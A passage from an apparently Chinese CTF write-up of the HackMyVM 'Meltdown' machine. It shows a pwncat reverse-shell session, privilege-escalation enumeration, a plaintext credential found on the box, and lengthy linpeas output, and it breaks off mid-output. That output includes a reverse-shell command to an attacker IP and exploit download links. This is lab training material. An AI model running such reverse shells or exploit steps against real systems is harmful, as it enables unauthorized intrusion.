/root/.pyenv/versions/3.11.9/envs/web/lib/python3.11/site-packages/zodburi/__init__.py:2: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools&amp;lt;81.
  from pkg_resources import iter_entry_points
[03:38:48] Welcome to pwncat 🐈!                                                             __main__.py:164
[03:39:30] received connection from 192.168.0.102:48514                                           bind.py:84
[03:39:30] 192.168.0.102:48514: registered new host w/ db                                     manager.py:957
(local) pwncat$ back
(remote) www-data@meltdown:/var/www/html$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
(remote) www-data@meltdown:/var/www/html$ 
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;提权&lt;/h1&gt;
&lt;h2&gt;提权-rin&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;(remote) www-data@meltdown:/etc/cron.d$ cat php
# /etc/cron.d/php@PHP_VERSION@: crontab fragment for PHP
#  This purges session files in session.save_path older than X,
#  where X is defined in seconds as the largest value of
#  session.gc_maxlifetime from all your SAPI php.ini files
#  or 24 minutes if not defined.  The script triggers only
#  when session.save_handler=files.
#
#  WARNING: The scripts tries hard to honour all relevant
#  session PHP options, but if you do something unusual
#  you have to disable this script and take care of your
#  sessions yourself.

# Look for and purge old sessions every 30 minutes
09,39 *     * * *     root   [ -x /usr/lib/php/sessionclean ] &amp;amp;&amp;amp; if [ ! -d /run/systemd/system ]; then /usr/lib/php/sessionclean; fi

(remote) www-data@meltdown:/etc/cron.d$ find / -perm -4000 -type f 2&amp;gt;/dev/null
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/mount
/usr/bin/su
/usr/bin/umount
/usr/bin/pkexec
/usr/bin/sudo
/usr/bin/passwd
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/libexec/polkit-agent-helper-1

(remote) www-data@meltdown:/etc/cron.d$ ss -tulnp
Netid      State       Recv-Q      Send-Q             Local Address:Port             Peer Address:Port      
udp        UNCONN      0           0                        0.0.0.0:68                    0.0.0.0:*         
tcp        LISTEN      0           80                     127.0.0.1:3306                  0.0.0.0:*         
tcp        LISTEN      0           128                      0.0.0.0:22                    0.0.0.0:*         
tcp        LISTEN      0           128                            *:80                          *:*         
tcp        LISTEN      0           128                         [::]:22 [::]:* 

(remote) www-data@meltdown:/tmp$ env
HISTCONTROL=ignorespace
PWD=/tmp
APACHE_LOG_DIR=/var/log/apache2
LANG=C
INVOCATION_ID=03f1117977704453843954fe25f36bbd
APACHE_PID_FILE=/var/run/apache2/apache2.pid
TERM=xterm-256color
APACHE_RUN_GROUP=www-data
APACHE_LOCK_DIR=/var/lock/apache2
SHLVL=3
APACHE_RUN_DIR=/var/run/apache2
PS1=$(command printf &amp;quot;\[\033[01;31m\](remote)\[\033[0m\] \[\033[01;33m\]$(whoami)@$(hostname)\[\033[0m\]:\[\033[1;36m\]$PWD\[\033[0m\]\$ &amp;quot;)
JOURNAL_STREAM=9:13571
APACHE_RUN_USER=www-data
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
_=/usr/bin/env
OLDPWD=/

(remote) www-data@meltdown:/tmp$ history

(remote) www-data@meltdown:/$ grep -ri password
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;翻了半天在/opt目录下放到了凭据&lt;/p&gt;
&lt;p&gt;rin:b59a85af917afd07&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/Meltdown-3.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;rin@meltdown:~$ sudo -l
Matching Defaults entries for rin on meltdown:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User rin may run the following commands on meltdown:
    (root) NOPASSWD: /opt/repeater.sh
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在测试靶机上这是个兔子洞因为没办法执行&lt;/p&gt;
&lt;p&gt;-rw-r--r--1 root root /opt/repeater.sh&lt;/p&gt;
&lt;p&gt;重新下hmv靶机&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;scp linpeas.sh rin@192.168.0.102:/tmp/
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;rin@meltdown:/tmp$ ./linpeas.sh

[+] /usr/bin/ping is available for network discovery (LinPEAS can discover hosts, learn more with -h)     
[+] /usr/bin/bash is available for network discovery, port scanning and port forwarding (LinPEAS can discover hosts, scan ports, and forward ports. Learn more with -h)                                             
                                                     

Caching directories . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . DONE                                                 
                                                     
                              ╔════════════════════╗
══════════════════════════════╣ System Information ╠══════════════════════════════                        
                              ╚════════════════════╝ 
╔══════════╣ Operative system
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#kernel-exploits         
Linux version 4.19.0-27-amd64 (debian-kernel@lists.debian.org) (gcc version 8.3.0 (Debian 8.3.0-6)) #1 SMP Debian 4.19.316-1 (2024-06-25)
Distributor ID: Debian
Description:    Debian GNU/Linux 10 (buster)
Release:        10
Codename:       buster

╔══════════╣ Sudo version
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#sudo-version            
Sudo version 1.9.5p2                                 


╔══════════╣ PATH
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#writable-path-abuses    
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games

╔══════════╣ Date &amp;amp; uptime
Tue 13 Jan 2026 04:24:25 AM EST                      
 04:24:25 up  1:12,  1 user,  load average: 0.08, 0.02, 0.21

╔══════════╣ Unmounted file-system?
╚ Check if you can mount umounted devices            
UUID=80e68759-1ca0-45eb-82a7-601b1f78dfe5 /               ext4    errors=remount-ro 0       1
UUID=257f425d-1ea4-4b8e-8dd8-69523f25d249 none            swap    sw              0       0
/dev/sr0        /media/cdrom0   udf,iso9660 user,noauto     0       0

╔══════════╣ Any sd*/disk* disk in /dev? (limit 20)
disk                                                 
sda
sda1
sda2
sda5

╔══════════╣ Environment
╚ Any private information inside environment variables?                                                   
USER=rin                                             
SSH_CLIENT=192.168.0.106 49106 22
SHLVL=1
HOME=/home/rin
OLDPWD=/etc/cron.d
SSH_TTY=/dev/pts/1
LOGNAME=rin
_=./linpeas.sh
TERM=xterm-256color
XDG_RUNTIME_DIR=/run/user/1000
LANG=en_US.UTF-8
SHELL=/bin/bash
PWD=/tmp
SSH_CONNECTION=192.168.0.106 49106 192.168.0.102 22

╔══════════╣ Searching Signature verification failed in dmesg                                             
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#dmesg-signature-verification-failed                                          
dmesg Not Found                                      
                                                     
╔══════════╣ Executing Linux Exploit Suggester
╚ https://github.com/mzet-/linux-exploit-suggester   
[+] [CVE-2019-13272] PTRACE_TRACEME                  

   Details: https://bugs.chromium.org/p/project-zero/issues/detail?id=1903
   Exposure: highly probable
   Tags: ubuntu=16.04{kernel:4.15.0-*},ubuntu=18.04{kernel:4.15.0-*},debian=9{kernel:4.9.0-*},[ debian=10{kernel:4.19.0-*} ],fedora=30{kernel:5.0.9-*}
   Download URL: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47133.zip
   ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2019-13272/poc.c
   Comments: Requires an active PolKit agent.

[+] [CVE-2021-4034] PwnKit

   Details: https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt
   Exposure: probable
   Tags: ubuntu=10|11|12|13|14|15|16|17|18|19|20|21,[ debian=7|8|9|10|11 ],fedora,manjaro
   Download URL: https://codeload.github.com/berdav/CVE-2021-4034/zip/main

[+] [CVE-2021-3156] sudo Baron Samedit

   Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
   Exposure: less probable
   Tags: mint=19,ubuntu=18|20, debian=10
   Download URL: https://codeload.github.com/blasty/CVE-2021-3156/zip/main

[+] [CVE-2021-3156] sudo Baron Samedit 2

   Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
   Exposure: less probable
   Tags: centos=6|7|8,ubuntu=14|16|17|18|19|20, debian=9|10
   Download URL: https://codeload.github.com/worawit/CVE-2021-3156/zip/main

[+] [CVE-2021-22555] Netfilter heap out-of-bounds write                                                   

   Details: https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html
   Exposure: less probable
   Tags: ubuntu=20.04{kernel:5.8.0-*}
   Download URL: https://raw.githubusercontent.com/google/security-research/master/pocs/linux/cve-2021-22555/exploit.c
   ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2021-22555/exploit.c
   Comments: ip_tables kernel module must be loaded


╔══════════╣ Protections
═╣ AppArmor enabled? .............. You do not have enough privilege to read the profile set.
apparmor module is loaded.
═╣ AppArmor profile? .............. unconfined
═╣ is linuxONE? ................... s390x Not Found
═╣ grsecurity present? ............ grsecurity Not Found                                                  
═╣ PaX bins present? .............. PaX Not Found    
═╣ Execshield enabled? ............ Execshield Not Found                                                  
═╣ SELinux enabled? ............... sestatus Not Found                                                    
═╣ Seccomp enabled? ............... disabled         
═╣ User namespace? ................ enabled
═╣ Cgroup2 enabled? ............... enabled
═╣ Is ASLR enabled? ............... Yes
═╣ Printer? ....................... No
═╣ Is this a virtual machine? ..... Yes (oracle)     

╔══════════╣ Kernel Modules Information
══╣ Kernel modules with weak perms?                  
                                                     
══╣ Kernel modules loadable? 
Modules can be loaded                                



                                   ╔═══════════╗
═══════════════════════════════════╣ Container ╠═══════════════════════════════════                       
                                   ╚═══════════╝     
╔══════════╣ Container related tools present (if any):                                                    
/usr/sbin/apparmor_parser                            
/usr/bin/nsenter
/usr/bin/unshare
/usr/sbin/chroot
/usr/sbin/capsh
/usr/sbin/setcap
/usr/sbin/getcap

╔══════════╣ Container details
═╣ Is this a container? ........... No               
═╣ Any running containers? ........ No               
                                                     


                                     ╔═══════╗
═════════════════════════════════════╣ Cloud ╠═════════════════════════════════════                       
                                     ╚═══════╝       
Learn and practice cloud hacking techniques in https://training.hacktricks.xyz                            
                                                     
═╣ GCP Virtual Machine? ................. No
═╣ GCP Cloud Funtion? ................... No
═╣ AWS ECS? ............................. No
═╣ AWS EC2? ............................. No
═╣ AWS EC2 Beanstalk? ................... No
═╣ AWS Lambda? .......................... No
═╣ AWS Codebuild? ....................... No
═╣ DO Droplet? .......................... No
═╣ IBM Cloud VM? ........................ No
═╣ Azure VM or Az metadata? ............. No
═╣ Azure APP or IDENTITY_ENDPOINT? ...... No
═╣ Azure Automation Account? ............ No
═╣ Aliyun ECS? .......................... No
═╣ Tencent CVM? ......................... No



                ╔════════════════════════════════════════════════╗                                        
════════════════╣ Processes, Crons, Timers, Services and Sockets ╠════════════════                        
                ╚════════════════════════════════════════════════╝                                        
╔══════════╣ Running processes (cleaned)
╚ Check weird &amp;amp; unexpected processes run by root: https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#processes                    
root           1  0.0  0.4  98848 10176 ?        Ss   03:12   0:00 /sbin/init
root         225  0.0  0.7  48996 14988 ?        Ss   03:12   0:00 /lib/systemd/systemd-journald
root         250  0.0  0.2  22280  5056 ?        Ss   03:12   0:00 /lib/systemd/systemd-udevd
systemd+     275  0.0  0.2  89036  5616 ?        Ssl  03:12   0:00 /lib/systemd/systemd-timesyncd
  └─(Caps) 0x0000000002000000=cap_sys_time
root         321  0.0  0.1   6736  2560 ?        Ss   03:12   0:00 /usr/sbin/cron -f
message+     322  0.0  0.2   7944  4172 ?        Ss   03:12   0:00 /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only
  └─(Caps) 0x0000000020000000=cap_audit_write
root         323  0.0  0.1 222784  3852 ?        Ssl  03:12   0:00 /usr/sbin/rsyslogd -n -iNONE
root         324  0.0  0.3  22540  7360 ?        Ss   03:12   0:00 /lib/systemd/systemd-logind
mysql        340  0.0  9.8 1097084 201824 ?      Ssl  03:12   0:02 /usr/local/mysql/bin/mysqld --defaults-file=/etc/my.cnf
root         350  0.0  0.0   5840  1616 tty1     Ss+  03:12   0:00 /sbin/agetty -o -p -- u --noclear tty1 linux
root         363  0.0  0.2   9588  5588 ?        Ss   03:12   0:00 /sbin/dhclient -4 -v -i -pf /run/dhclient.enp0s3.pid -lf /var/lib/dhcp/dhclient.enp0s3.leases -I -df /var/lib/dhcp/dhclient6.enp0s3.leases enp0s3
root         397  0.0  1.0 108880 20588 ?        Ssl  03:12   0:00 /usr/bin/python3 /usr/share/unattended-upgrades/unattended-upgrade-shutdown --wait-for-signal
rin         1514  0.0  0.2  14508  5860 ?        S    04:16   0:00      _ sshd: rin@pts/1
rin         1515  0.0  0.1   7084  3736 pts/1    Ss   04:16   0:00          _ -bash
rin         1563  0.5  0.1   3420  2632 pts/1    S+   04:24   0:00              _ /bin/sh ./linpeas.sh
rin         4632  0.0  0.0   3420  1028 pts/1    S+   04:24   0:00                  _ /bin/sh ./linpeas.sh
rin         4636  0.0  0.1  11844  3396 pts/1    R+   04:24   0:00                  |   _ ps fauxwww
rin         4635  0.0  0.0   3420  1028 pts/1    S+   04:24   0:00                  _ /bin/sh ./linpeas.sh
root         419  0.0  1.5 253876 32580 ?        Ss   03:12   0:00 /usr/sbin/apache2 -k start
www-data     583  0.0  0.8 254308 16576 ?        S    03:14   0:04  _ /usr/sbin/apache2 -k start
www-data     592  0.0  0.9 254308 18768 ?        S    03:14   0:03  _ /usr/sbin/apache2 -k start
www-data     597  0.0  0.8 254316 17636 ?        S    03:14   0:04  _ /usr/sbin/apache2 -k start
www-data     601  0.0  0.8 254308 17460 ?        S    03:14   0:04  _ /usr/sbin/apache2 -k start
www-data     607  0.0  0.8 254308 17756 ?        S    03:14   0:03  _ /usr/sbin/apache2 -k start
www-data     608  0.0  0.8 254308 17860 ?        S    03:14   0:03  _ /usr/sbin/apache2 -k start
www-data     616  0.0  0.8 254308 17860 ?        S    03:14   0:03  _ /usr/sbin/apache2 -k start
www-data     619  0.0  0.8 254308 17756 ?        S    03:14   0:03  _ /usr/sbin/apache2 -k start
www-data     630  0.0  0.8 254308 17580 ?        S    03:14   0:03  _ /usr/sbin/apache2 -k start
www-data     632  0.0  0.9 254308 18688 ?        S    03:14   0:03  _ /usr/sbin/apache2 -k start
www-data     702  0.0  0.0   2472   392 ?        S    03:39   0:00      _ sh -c /bin/bash -c &amp;#39;bash -i &amp;gt;&amp;amp; /dev/tcp/192.168.0.106/8888 0&amp;gt;&amp;amp;1&amp;#39;
www-data     703  0.0  0.1   3820  2720 ?        S    03:39   0:00          _ /bin/bash -c bash -i &amp;gt;&amp;amp; /dev/tcp/192.168.0.106/8888 0&amp;gt;&amp;amp;1
www-data     704  0.0  0.1   4084  3216 ?        S    03:39   0:00              _ bash -i
www-data     725  0.0  0.0   2596   764 ?        S    03:39   0:00                  _ /usr/bin/script -qc /usr/bin/bash /dev/null
www-data     726  0.0  0.0   2472   400 pts/0    Ss   03:39   0:00                      _ sh -c /usr/bin/bash
www-data     727  0.0  0.1   4084  3228 pts/0    S+   03:39   0:00                          _ /usr/bin/bash
root         957  0.0  0.3 237332  7952 ?        Ssl  03:46   0:00 /usr/libexec/polkitd --no-debug
rin         1369  0.0  0.4  15924  9140 ?        Ss   04:03   0:00 /lib/systemd/systemd --user
rin         1370  0.0  0.1  99764  2416 ?        S    04:03   0:00  _ (sd-pam)

╔══════════╣ Processes with unusual configurations
                                                     
╔══════════╣ Processes with credentials in memory (root req)                                              
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#credentials-from-process-memory                                              
gdm-password Not Found                               
gnome-keyring-daemon Not Found                       
lightdm Not Found                                    
vsftpd Not Found                                     
apache2 process found (dump creds from memory as root)
sshd: process found (dump creds from memory as root)
mysql process found (dump creds from memory as root)
postgres Not Found
redis-server Not Found                               
mongod Not Found                                     
memcached Not Found                                  
elasticsearch Not Found                              
jenkins Not Found                                    
tomcat Not Found                                     
nginx Not Found                                      
php-fpm Not Found                                    
supervisord Not Found                                
vncserver Not Found                                  
xrdp Not Found                                       
teamviewer Not Found                                 
                                                     
╔══════════╣ Opened Files by processes
Process 1369 (rin) - /lib/systemd/systemd --user     
  └─ Has open files:
    └─ /proc/1369/mountinfo
    └─ /proc/swaps
    └─ /sys/fs/cgroup/user.slice/user-1000.slice/user@1000.service
Process 1515 (rin) - -bash 
  └─ Has open files:
    └─ /dev/pts/1

╔══════════╣ Processes with memory-mapped credential files                                                
                                                     
╔══════════╣ Processes whose PPID belongs to a different user (not root)                                  
╚ You will know if a user can somehow spawn processes as a different user                                 
                                                     
╔══════════╣ Files opened by processes belonging to other users                                           
╚ This is usually empty because of the lack of privileges to read other user processes information        
                                                     
╔══════════╣ Check for vulnerable cron jobs
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#scheduledcron-jobs      
══╣ Cron jobs list                                   
/usr/bin/crontab                                     
incrontab Not Found
-rw-r--r-- 1 root root    1042 Oct 11  2019 /etc/crontab

/etc/cron.d:
total 16
drwxr-xr-x  2 root root 4096 Apr  1  2025 .
drwxr-xr-x 82 root root 4096 Jan 13 04:01 ..
-rw-r--r--  1 root root  712 Mar  9  2025 php
-rw-r--r--  1 root root  102 Oct 11  2019 .placeholder                                                    

/etc/cron.daily:
total 36
drwxr-xr-x  2 root root 4096 Apr  1  2025 .
drwxr-xr-x 82 root root 4096 Jan 13 04:01 ..
-rwxr-xr-x  1 root root  539 Jul  1  2024 apache2
-rwxr-xr-x  1 root root 1478 Apr 19  2021 apt-compat
-rwxr-xr-x  1 root root  355 Dec 29  2017 bsdmainutils                                                    
-rwxr-xr-x  1 root root 1187 May 24  2022 dpkg
-rwxr-xr-x  1 root root  377 Aug 28  2018 logrotate
-rwxr-xr-x  1 root root  249 Sep 27  2017 passwd
-rw-r--r--  1 root root  102 Oct 11  2019 .placeholder                                                    

/etc/cron.hourly:
total 12
drwxr-xr-x  2 root root 4096 Mar 18  2025 .
drwxr-xr-x 82 root root 4096 Jan 13 04:01 ..
-rw-r--r--  1 root root  102 Oct 11  2019 .placeholder                                                    

/etc/cron.monthly:
total 12
drwxr-xr-x  2 root root 4096 Mar 18  2025 .
drwxr-xr-x 82 root root 4096 Jan 13 04:01 ..
-rw-r--r--  1 root root  102 Oct 11  2019 .placeholder                                                    

/etc/cron.weekly:
total 12
drwxr-xr-x  2 root root 4096 Mar 18  2025 .
drwxr-xr-x 82 root root 4096 Jan 13 04:01 ..
-rw-r--r--  1 root root  102 Oct 11  2019 .placeholder                                                    

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

17 *    * * *   root    cd / &amp;amp;&amp;amp; run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / &amp;amp;&amp;amp; run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / &amp;amp;&amp;amp; run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / &amp;amp;&amp;amp; run-parts --report /etc/cron.monthly )

══╣ Checking for specific cron jobs vulnerabilities
Checking cron directories...                         

╔══════════╣ System timers
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#timers                  
══╣ Active timers:                                   
NEXT                        LEFT          LAST                        PASSED               UNIT                         ACTIVATES
Tue 2026-01-13 04:39:00 EST 14min left    Tue 2026-01-13 04:09:38 EST 14min ago            phpsessionclean.timer        phpsessionclean.service                
Tue 2026-01-13 06:26:51 EST 2h 2min left  Tue 2025-04-01 10:06:28 EDT 9 months 12 days ago apt-daily.timer              apt-daily.service
Tue 2026-01-13 06:57:44 EST 2h 33min left Tue 2026-01-13 03:23:49 EST 1h 0min ago          apt-daily-upgrade.timer      apt-daily-upgrade.service              
Wed 2026-01-14 00:00:00 EST 19h left      Tue 2026-01-13 03:11:58 EST 1h 12min ago         logrotate.timer              logrotate.service
Wed 2026-01-14 03:27:47 EST 23h left      Tue 2026-01-13 03:27:47 EST 56min ago            systemd-tmpfiles-clean.timer systemd-tmpfiles-clean.service         
══╣ Disabled timers:
══╣ Additional timer files:                          
                                                     
╔══════════╣ Services and Service Files
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#services                
                                                     
══╣ Active services:
apache2.service                    loaded active running The Apache HTTP Server
./linpeas.sh: 3944: local: /usr/sbin/apachectl: bad variable name
 Not Found
                                                     
══╣ Disabled services:
apache-htcacheclean.service            disabled enabled
apache-htcacheclean@.service           disabled enabled
apache2@.service                       disabled enabled
console-getty.service                  disabled disabled
debug-shell.service                    disabled disabled
ifupdown-wait-online.service           disabled enabled
irc_bot.service                        disabled enabled
serial-getty@.service                  disabled enabled
systemd-boot-check-no-failures.service disabled disabled
systemd-network-generator.service      disabled disabled
systemd-networkd-wait-online.service   disabled disabled
systemd-networkd.service               disabled enabled
systemd-resolved.service               disabled enabled
systemd-time-wait-sync.service         disabled disabled
14 unit files listed.

══╣ Additional service files:
./linpeas.sh: 3944: local: /usr/sbin/apachectl: bad variable name
You can&amp;#39;t write on systemd PATH

╔══════════╣ Systemd Information
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#systemd-path---relative-paths                                                
═╣ Systemd version and vulnerabilities? .............. 247.3                                              
═╣ Services running as root? ..... 
═╣ Running services with dangerous capabilities? ... 
═╣ Services with writable paths? . apache2.service: Uses relative path &amp;#39;start&amp;#39; (from ExecStart=/usr/sbin/apachectl start)                                      
rsyslog.service: Uses relative path &amp;#39;-n&amp;#39; (from ExecStart=/usr/sbin/rsyslogd -n -iNONE)                    

╔══════════╣ Systemd PATH
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#systemd-path---relative-paths                                                
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

╔══════════╣ Analyzing .socket files
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#sockets                 
./linpeas.sh: 4207: local: /run/systemd/journal/stdout: bad variable name

╔══════════╣ Unix Sockets Analysis
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#sockets                 
/run/dbus/system_bus_socket                          
  └─(Read Write (Weak Permissions: 666) )
  └─(Owned by root)
/run/mysqld/mysqld.sock
  └─(Read Write Execute (Weak Permissions: 777) )
/run/systemd/fsck.progress
/run/systemd/inaccessible/sock
/run/systemd/io.system.ManagedOOM
  └─(Read Write (Weak Permissions: 666) )
  └─(Owned by root)
/run/systemd/journal/dev-log
  └─(Read Write (Weak Permissions: 666) )
  └─(Owned by root)
/run/systemd/journal/io.systemd.journal
/run/systemd/journal/socket
  └─(Read Write (Weak Permissions: 666) )
  └─(Owned by root)
/run/systemd/journal/stdout
  └─(Read Write (Weak Permissions: 666) )
  └─(Owned by root)
/run/systemd/journal/syslog
  └─(Read Write (Weak Permissions: 666) )
  └─(Owned by root)
/run/systemd/notify
  └─(Read Write Execute (Weak Permissions: 777) )
  └─(Owned by root)
/run/systemd/private
  └─(Read Write Execute (Weak Permissions: 777) )
  └─(Owned by root)
/run/systemd/userdb/io.systemd.DynamicUser
  └─(Read Write (Weak Permissions: 666) )
  └─(Owned by root)
/run/udev/control
/run/user/1000/bus
  └─(Read Write (Weak Permissions: 666) )
/run/user/1000/gnupg/S.dirmngr
  └─(Read Write )
/run/user/1000/gnupg/S.gpg-agent
  └─(Read Write )
/run/user/1000/gnupg/S.gpg-agent.browser
  └─(Read Write )
/run/user/1000/gnupg/S.gpg-agent.extra
  └─(Read Write )
/run/user/1000/gnupg/S.gpg-agent.ssh
  └─(Read Write )
/run/user/1000/pk-debconf-socket
  └─(Read Write (Weak Permissions: 666) )
/run/user/1000/systemd/inaccessible/sock
/run/user/1000/systemd/notify
  └─(Read Write Execute )
/run/user/1000/systemd/private
  └─(Read Write Execute )

╔══════════╣ D-Bus Analysis
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#d-bus                   
NAME                            PID PROCESS         USER             CONNECTION    UNIT                        SESSION DESCRIPTION
:1.0                            275 systemd-timesyn systemd-timesync :1.0          systemd-timesyncd.service   -       -
:1.1                              1 systemd         root             :1.1          init.scope                  -       -
:1.143                        13513 busctl          rin              :1.143        session-6.scope             6       -
:1.2                            324 systemd-logind  root             :1.2          systemd-logind.service      -       -
:1.3                            397 unattended-upgr root             :1.3          unattended-upgrades.service -       -
:1.5                            957 polkitd         root             :1.5          polkit.service              -       -
:1.9                           1369 systemd         rin              :1.9          user@1000.service           -       -
com.ubuntu.SoftwareProperties     - -               -                (activatable) -                           -       -
org.freedesktop.DBus              1 systemd         root             -             init.scope                  -       -
org.freedesktop.PackageKit        - -               -                (activatable) -                           -       -
org.freedesktop.PolicyKit1      957 polkitd         root             :1.5          polkit.service              -       -
org.freedesktop.hostname1         - -               -                (activatable) -                           -       -
org.freedesktop.locale1           - -               -                (activatable) -                           -       -
org.freedesktop.login1          324 systemd-logind  root             :1.2          systemd-logind.service      -       -
org.freedesktop.network1          - -               -                (activatable) -                           -       -
org.freedesktop.resolve1          - -               -                (activatable) -                           -       -
org.freedesktop.systemd1          1 systemd         root             :1.1          init.scope                  -       -
org.freedesktop.timedate1         - -               -                (activatable) -                           -       -
org.freedesktop.timesync1       275 systemd-timesyn systemd-timesync :1.0          systemd-timesyncd.service   -       -

╔══════════╣ D-Bus Configuration Files
Analyzing /etc/dbus-1/system.d/com.ubuntu.SoftwareProperties.conf:
  └─(Allow rules in default context)
             └─     &amp;lt;allow send_destination=&amp;quot;com.ubuntu.SoftwareProperties&amp;quot;
            &amp;lt;allow send_destination=&amp;quot;com.ubuntu.SoftwareProperties&amp;quot;
            &amp;lt;allow send_destination=&amp;quot;com.ubuntu.DeviceDriver&amp;quot;
Analyzing /etc/dbus-1/system.d/org.freedesktop.PackageKit.conf:
  └─(Allow rules in default context)
             └─     &amp;lt;allow send_destination=&amp;quot;org.freedesktop.PackageKit&amp;quot;
            &amp;lt;allow send_destination=&amp;quot;org.freedesktop.PackageKit&amp;quot;
            &amp;lt;allow send_destination=&amp;quot;org.freedesktop.PackageKit&amp;quot;

══╣ D-Bus Session Bus Analysis
(Access to session bus available)                    
           string &amp;quot;org.freedesktop.DBus&amp;quot;
           string &amp;quot;org.freedesktop.systemd1&amp;quot;
           string &amp;quot;:1.0&amp;quot;
           string &amp;quot;:1.2&amp;quot;
  └─(Known dangerous session service: org.freedesktop.systemd1)                                           
     └─ Try: dbus-send --session --dest=org.freedesktop.systemd1 / [Interface] [Method] [Arguments]

╔══════════╣ Legacy r-commands (rsh/rlogin/rexec) and host-based trust                                    
                                                     
══╣ Listening r-services (TCP 512-514)
                                                     
══╣ systemd units exposing r-services
rlogin|rsh|rexec units Not Found                     
                                                     
══╣ inetd/xinetd configuration for r-services
/etc/inetd.conf Not Found                            
/etc/xinetd.d Not Found                              
                                                     
══╣ Installed r-service server packages
  No related packages found via dpkg                 

══╣ /etc/hosts.equiv and /etc/shosts.equiv
                                                     
══╣ Per-user .rhosts files
.rhosts Not Found                                    
                                                     
══╣ PAM rhosts authentication
/etc/pam.d/rlogin|rsh Not Found                      
                                                     
══╣ SSH HostbasedAuthentication
  HostbasedAuthentication no or not set              

══╣ Potential DNS control indicators (local)
  Not detected                                       

╔══════════╣ Crontab UI (root) misconfiguration checks                                                    
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#scheduledcron-jobs      
crontab-ui Not Found                                 
                                                     

                              ╔═════════════════════╗
══════════════════════════════╣ Network Information ╠══════════════════════════════                       
                              ╚═════════════════════╝
╔══════════╣ Interfaces
default         0.0.0.0                              
loopback        127.0.0.0
link-local      169.254.0.0

1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: enp0s3: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 08:00:27:99:3b:9e brd ff:ff:ff:ff:ff:ff
    inet 192.168.0.102/24 brd 192.168.0.255 scope global dynamic enp0s3
       valid_lft 5791sec preferred_lft 5791sec
    inet6 fe80::a00:27ff:fe99:3b9e/64 scope link 
       valid_lft forever preferred_lft forever

╔══════════╣ Hostname, hosts and DNS
══╣ Hostname Information                             
System hostname: meltdown                            
FQDN: meltdown

══╣ Hosts File Information
Contents of /etc/hosts:                              
  127.0.0.1     localhost
  127.0.1.1     PyCrt.PyCrt     PyCrt
  ::1     localhost ip6-localhost ip6-loopback
  ff02::1 ip6-allnodes
  ff02::2 ip6-allrouters
  127.0.0.1 meltdown

══╣ DNS Configuration
DNS Servers (resolv.conf):                           
  192.168.1.1
  192.168.0.1
-e 
Systemd-resolved configuration:
  [Resolve]
-e 
DNS Domain Information:
(none)
-e 
DNS Cache Status (systemd-resolve):

╔══════════╣ Active Ports
